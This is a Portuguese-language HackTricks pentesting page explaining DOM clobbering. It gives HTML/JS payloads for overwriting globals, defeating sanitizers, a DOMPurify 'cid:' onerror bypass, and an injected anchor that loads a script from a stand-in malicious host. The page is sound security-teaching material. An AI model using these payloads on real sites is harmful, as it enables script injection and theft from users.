hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2023-06-06 18:56:34 +00:00

14 KiB

Dom Clobbering

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Fundamentos

É possível gerar variáveis globais dentro do contexto JS com os atributos id e name em tags HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Apenas certos elementos podem usar o atributo name para clobber globals, eles são: embed, form, iframe, image, img e object.

Curiosamente, quando você usa um elemento de formulário para clobber uma variável, você obterá o valor toString do próprio elemento: [object HTMLFormElement], mas com âncora o toString será o href da âncora. Portanto, se você clobber usando a tag a, você pode controlar o valor quando ele é tratado como uma string:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays e Atributos

Também é possível sobrescrever um array e atributos de objetos:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Para sobrescrever um terceiro atributo (por exemplo, x.y.z), você precisa usar um formulário:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Sobrescrever mais atributos é mais complicado, mas ainda é possível, usando iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} A tag de estilo é usada para dar tempo suficiente para o iframe ser renderizado. Sem ela, você encontrará um alerta de indefinido. {% endhint %}

Para clobber atributos mais profundos, você pode usar iframes com codificação html desta maneira:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Burlando Filtros

Se um filtro está percorrendo as propriedades de um nó usando algo como document.getElementByID('x').attributes, você pode sobrescrever o atributo .attributes e quebrar o filtro. Outras propriedades do DOM como tagName, nodeName ou parentNode e outras também são sobrescrevíveis.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

Um padrão comum usado por desenvolvedores JavaScript é:

var someObject = window.someObject || {};

Se você pode controlar parte do HTML na página, pode sobrescrever a referência someObject com um nó DOM, como um link. Considere o seguinte código:

<script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

Para explorar este código vulnerável, você poderia injetar o seguinte HTML para sobrescrever a referência someObject com um elemento de âncora:

{% code overflow="wrap" %}

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

{% endcode %}

Injetar os dados window.someObject.url resultará em href=//malicious-website.com/malicious.js.

Truque: DOMPurify permite que você use o protocolo cid:, que não codifica em URL as aspas duplas. Isso significa que você pode injetar uma aspa dupla codificada que será decodificada em tempo de execução. Portanto, injetar algo como <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> fará com que a aspa dupla codificada &quot; seja decodificada em tempo de execução e escape do valor do atributo para criar o evento onerror.

Outra técnica comum consiste em usar o elemento form. Algumas bibliotecas do lado do cliente passarão pelos atributos do elemento de formulário criado para sanitizá-lo. Mas, se você criar um input dentro do formulário com id=attributes, você irá sobrescrever a propriedade de atributos e o sanitizador não poderá passar pelos atributos reais.

Você pode encontrar um exemplo desse tipo de sobrescrita em um writeup de CTF.

Sobrescrevendo o objeto document

De acordo com a documentação, é possível sobrescrever atributos do objeto document usando o DOM Clobbering:

A interface Document suporta propriedades nomeadas. Os nomes de propriedade suportados de um objeto Document em qualquer momento consistem no seguinte, em ordem de árvore de acordo com o elemento que os contribuiu, ignorando duplicatas posteriores, e com valores de atributos id vindo antes de valores de atributos de nome quando o mesmo elemento contribui ambos:

- O valor do atributo de conteúdo de nome para todos os elementos expostos embed, form, iframe, img e expostos object que têm um atributo de conteúdo de nome não vazio e estão em uma árvore de documentos com o documento como sua raiz;

- O valor do atributo de conteúdo id para todos os elementos expostos object que têm um atributo de conteúdo id não vazio e estão em uma árvore de documentos com o documento como sua raiz;

- O valor do atributo de conteúdo id para todos os elementos img que têm tanto um atributo de conteúdo id não vazio quanto um atributo de conteúdo de nome não vazio, e estão em uma árvore de documentos com o documento como sua raiz.

Usando essa técnica, você pode sobrescrever valores comumente usados, como document.cookie, document.body, document.children, e até mesmo métodos na interface Document, como document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Escrevendo após o elemento clobbered

Você pode clobber os resultados de uma chamada document.getElementById() e document.querySelector() se você injetar uma tag <html> ou <body> com o mesmo atributo id. Aqui está um exemplo:

<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>

O que também é interessante é que você pode ocultar elementos do innerText, então se você injetar uma tag HTML/body, você pode usar estilos para ocultá-la do innerText para evitar que outro texto interfira no seu ataque:

<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>

Analisamos também o SVG e é possível usar a tag <body> lá:

<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

Você precisa de uma tag <foreignobject> para usar a tag HTML dentro do SVG no Chrome e no Firefox:

<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

Clobbering de Formulários

É possível adicionar novas entradas dentro de um formulário apenas especificando o atributo form dentro de algumas tags. Você pode usar isso para adicionar novos valores dentro de um formulário e até mesmo adicionar um novo botão para enviá-lo (clickjacking ou abusando de algum código JS .click()):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥